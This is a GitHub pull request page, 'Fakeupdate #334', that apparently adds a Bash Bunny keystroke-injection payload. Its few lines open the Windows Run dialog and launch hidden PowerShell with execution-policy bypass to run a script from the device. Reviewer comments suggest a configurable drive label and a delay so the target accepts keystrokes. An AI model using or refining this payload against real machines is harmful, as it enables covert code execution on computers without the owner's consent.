Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fakeupdate #334

Open
wants to merge 10 commits into
base: master
Choose a base branch
from
Open

Fakeupdate #334

wants to merge 10 commits into from

Conversation

j0te
Copy link

@j0te j0te commented Mar 24, 2018

No description provided.

ATTACKMODE HID STORAGE
Q GUI r
Q DELAY 100
Q STRING powershell -WindowStyle Hidden -ExecutionPolicy Bypass ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\$SWITCH_POSITION\webserver.ps1')"
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I would add a Bash variable at the start of the payload defining drive label, since people might not be using the default label name BashBunny . For example,

Drive_Label="BashBunny"

Q STRING powershell -WindowStyle Hidden -ExecutionPolicy Bypass ".((gwmi win32_volume -f 'label=''$Drive_Label''').Name+'payloads\\$SWITCH_POSITION\webserver.ps1')"

This allows for easy user configuration.

GET SWITCH_POSITION
LED ATTACK
ATTACKMODE HID STORAGE
Q GUI r
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I would add a small delay after setting the Bunny into HID. This is so the target machine has enough time time recognize the Bunny and accepts keystrokes.

This prevents parts of the payload at the start from being skipped.

Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Why this this payload in anther payloads directory?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants